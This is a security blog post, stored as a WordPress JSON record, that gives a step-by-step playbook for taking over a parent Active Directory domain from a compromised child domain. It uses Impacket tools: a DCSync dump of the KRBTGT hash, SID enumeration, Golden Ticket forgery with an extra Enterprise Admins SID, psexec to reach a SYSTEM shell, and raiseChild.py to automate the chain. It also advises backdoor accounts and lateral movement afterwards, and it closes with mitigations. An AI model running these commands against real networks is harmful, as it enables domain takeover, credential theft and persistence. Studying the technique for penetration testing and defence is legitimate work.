{"id":301,"date":"2025-02-27T00:00:00","date_gmt":"2025-02-26T23:00:00","guid":{"rendered":"https:\/\/kosokoking.com\/?p=301"},"modified":"2025-02-25T11:54:29","modified_gmt":"2025-02-25T10:54:29","slug":"child-parent-ad-exploitation-via-golden-tickets","status":"publish","type":"post","link":"https:\/\/kosokoking.com\/index.php\/security\/child-parent-ad-exploitation-via-golden-tickets\/","title":{"rendered":"Child-Parent AD Exploitation via Golden Tickets"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">This playbook provides a detailed, step-by-step guide to escalating privileges from a compromised child domain to a parent domain in an Active Directory (AD) environment. Each step includes explanations, tool usage, and notes to improve comprehension and enhance understanding.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Overview<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Active Directory (AD) environments often have trust relationships between domains. A child-to-parent domain trust allows users in the child domain to access resources in the parent domain. Attackers can exploit these trust relationships to escalate privileges and compromise the parent domain. This playbook focuses on leveraging Kerberos ticket forgery (Golden Ticket attacks) to achieve this.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step 1: Information Gathering<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To perform the attack, you need specific information about the child and parent domains. This data is essential for crafting a Golden Ticket.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>What to Collect<\/strong><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>KRBTGT hash<\/strong>: The NTLM hash of the KRBTGT account in the child domain.<\/li>\n\n\n\n<li><strong>Child Domain SID<\/strong>: The Security Identifier (SID) of the child domain.<\/li>\n\n\n\n<li><strong>Target User Name<\/strong>: A username in the child domain (can be non-existent).<\/li>\n\n\n\n<li><strong>Child Domain FQDN<\/strong>: Fully Qualified Domain Name of the child domain.<\/li>\n\n\n\n<li><strong>Parent Domain Enterprise Admin SID<\/strong>: The SID of the Enterprise Admins group in the parent domain.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tool 1: secretsdump.py (Impacket)<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Purpose<\/strong>: Perform a DCSync attack to retrieve the KRBTGT hash from the child domain.<\/li>\n\n\n\n<li><strong>Command<\/strong>:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>secretsdump.py &lt;CHILD_DOMAIN&gt;\/&lt;ADMIN_USER&gt;@&lt;CHILD_DC_IP&gt;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Explanation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This tool simulates a Domain Controller (DC) replication request using the DRSUAPI protocol.<\/li>\n\n\n\n<li>It extracts sensitive information, including NTLM hashes for user accounts.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output Example<\/strong>:<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">krbtgt:502:aad3b435b51404eeadeadbeef51404ee:9d765b482771505deadbeef065964d5f<\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tool 2: lookupsid.py (Impacket)<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Purpose<\/strong>: Enumerate SIDs for users, groups, and domains by brute-forcing them.<\/li>\n\n\n\n<li><strong>Command<\/strong>:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>lookupsid.py &lt;CHILD_DOMAIN&gt;\/&lt;USER&gt;@&lt;CHILD_DC_IP&gt;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Explanation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This tool queries the Local Security Authority (LSA) service on a DC to enumerate SIDs.<\/li>\n\n\n\n<li>The output includes the domain SID and RID mappings for users\/groups.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output Example<\/strong>:<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Domain SID is: S-1-5-21-2deadbeef9-209893948-9deadbeef<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Notes:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The KRBTGT hash is critical for forging Kerberos tickets.<\/li>\n\n\n\n<li>The Enterprise Admin SID is needed to escalate privileges into the parent domain.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step 2: Constructing a Golden Ticket<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A Golden Ticket is a forged Kerberos ticket that allows you to impersonate any user in a domain. In this attack, you will forge a ticket with elevated privileges in both domains.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tool: ticketer.py (Impacket)<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Purpose<\/strong>: Generate a Golden Ticket using the collected information.<\/li>\n\n\n\n<li><strong>Command<\/strong>:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ticketer.py -nthash &lt;KRBTGT_HASH> -domain-sid &lt;CHILD_DOMAIN_SID> \\-domain&lt;CHILD_DOMAIN_FQDN> -extra-sid &lt;ENTERPRISE_ADMIN_SID> \\-spn krbtgt\/&lt;PARENT_DOMAIN_FQDN> &lt;FAKE_USERNAME><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Explanation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>-nthash: Specifies the NTLM hash of the KRBTGT account.<\/li>\n\n\n\n<li>-domain-sid: Adds the SID of the child domain.<\/li>\n\n\n\n<li>-extra-sid: Adds the SID of the parent domain\u2019s Enterprise Admins group.<\/li>\n\n\n\n<li>-spn: Service Principal Name for Kerberos authentication in the parent domain.<\/li>\n\n\n\n<li>&lt;FAKE_USERNAME>: A placeholder username (e.g., \u201chacker\u201d).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A\u00a0.ccache\u00a0file containing your forged Kerberos ticket.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Notes:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The extra SID allows you to escalate privileges into the parent domain by impersonating an Enterprise Admin.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step 3: Using the Golden Ticket<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Once you have created your Golden Ticket, you can use it to authenticate against resources in both domains.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Steps:<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Set up your environment to use the forged Kerberos ticket:<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>export KRB5CCNAME=&lt;TICKET_FILENAME&gt;.ccache<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This tells your system to use this ticket for Kerberos authentication.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li>Authenticate to a parent domain controller using Impacket\u2019s\u00a0psexec.py:<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>psexec.py &lt;CHILD_DOMAIN_FQDN&gt;\/&lt;FAKE_USERNAME&gt;@&lt;PARENT_DC_HOSTNAME&gt; -k -no-pass<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If successful, this provides a SYSTEM-level shell on the parent DC.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Notes:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ensure that your\u00a0.ccache\u00a0file is correctly generated otherwise, authentication will fail.<\/li>\n\n\n\n<li>Use tools like\u00a0klist\u00a0to verify that your Kerberos ticket is loaded correctly.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step 4: Automating with raiseChild.py<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For an automated approach, Impacket\u2019s&nbsp;raiseChild.py&nbsp;simplifies many steps by combining enumeration, ticket creation, and exploitation into one process.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Command Example:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>raiseChild.py -target-exec &lt;PARENT_DC_IP&gt; &lt;CHILD_DOMAIN_FQDN&gt;\/&lt;ADMIN_USER&gt;:&lt;PASSWORD&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Workflow of raiseChild.py:<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Enumerates child and parent domains\u2019 FQDNs.<\/li>\n\n\n\n<li>Retrieves SIDs for both domains.<\/li>\n\n\n\n<li>Extracts KRBTGT credentials from the child domain.<\/li>\n\n\n\n<li>Creates a Golden Ticket with elevated privileges for both domains.<\/li>\n\n\n\n<li>Authenticates into the parent DC using PsExec.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Notes:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>While convenient, automated tools like\u00a0raiseChild.py\u00a0may fail or cause unintended side effects in production environments. Always understand and validate each step manually before relying on automation.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Post-Attack Activities<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Once access to the parent domain is achieved:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Use tools like BloodHound or PowerView to enumerate sensitive resources and identify additional attack paths.<\/li>\n\n\n\n<li>Establish persistence by creating backdoor accounts or modifying group memberships.<\/li>\n\n\n\n<li>Perform lateral movement across critical systems using tools like PsExec or RDP.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mitigation Strategies<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To prevent such attacks:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Regularly rotate KRBTGT account passwords using Microsoft\u2019s recommended two-step process.<\/li>\n\n\n\n<li>Enable SID filtering on inter-domain trusts to block unauthorised SID usage.<\/li>\n\n\n\n<li>Monitor for unusual Kerberos activity, such as long-lived tickets or excessive TGS requests.<\/li>\n\n\n\n<li>Implement Privileged Access Management (PAM) solutions to restrict administrative access.<\/li>\n\n\n\n<li>Deploy advanced detection tools like Microsoft Defender for Identity or SIEM solutions.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Additional Resources<\/strong><\/h2>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/S1ckB0y1337\/Active-Directory-Exploitation-Cheat-Sheet\" target=\"_blank\" rel=\"noreferrer noopener\">Active Directory Exploitation Cheat Sheet<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.thehacker.recipes\/ad\/movement\/trusts\/\" target=\"_blank\" rel=\"noreferrer noopener\">The Hacker Recipes &#8211; Trusts<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/adsecurity.org\/?p=1640\" target=\"_blank\" rel=\"noreferrer noopener\">ADSecurity Blog &#8211; Kerberos Golden Tickets<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1482\/\" target=\"_blank\" rel=\"noreferrer noopener\">MITRE ATT&amp;CK Framework &#8211; Domain Trust Discovery<\/a><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Final Notes<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Understanding each step of this process is critical for both offensive security professionals and defenders. While tools like&nbsp;raiseChild.py&nbsp;provide automation, performing these steps manually ensures better understanding and troubleshooting capabilities during engagements or real-world scenarios.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For more insightful and engaging write-ups, visit <a href=\"https:\/\/kosokoking.com\/\" target=\"_blank\" rel=\"noopener\" title=\"\">kosokoking.com<\/a> and stay ahead in the world of cybersecurity!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Step-by-step guide to exploiting child-parent Active Directory (AD) trusts from Linux using Impacket tools. Learn cross-domain privilege escalation.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[391,394,395,392,382,241,321,393,202,396],"class_list":["post-301","post","type-post","status-publish","format-standard","hentry","category-security","tag-active-directory-exploitation","tag-cybersecurity-guide","tag-dcsync-attack","tag-domain-trust-attacks","tag-golden-ticket-attack","tag-impacket-toolkit","tag-kerberos-exploitation","tag-linux-penetration-testing","tag-privilege-escalation-2","tag-sid-enumeration"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/posts\/301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/comments?post=301"}],"version-history":[{"count":1,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/posts\/301\/revisions"}],"predecessor-version":[{"id":302,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/posts\/301\/revisions\/302"}],"wp:attachment":[{"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/media?parent=301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/categories?post=301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kosokoking.com\/index.php\/wp-json\/wp\/v2\/tags?post=301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}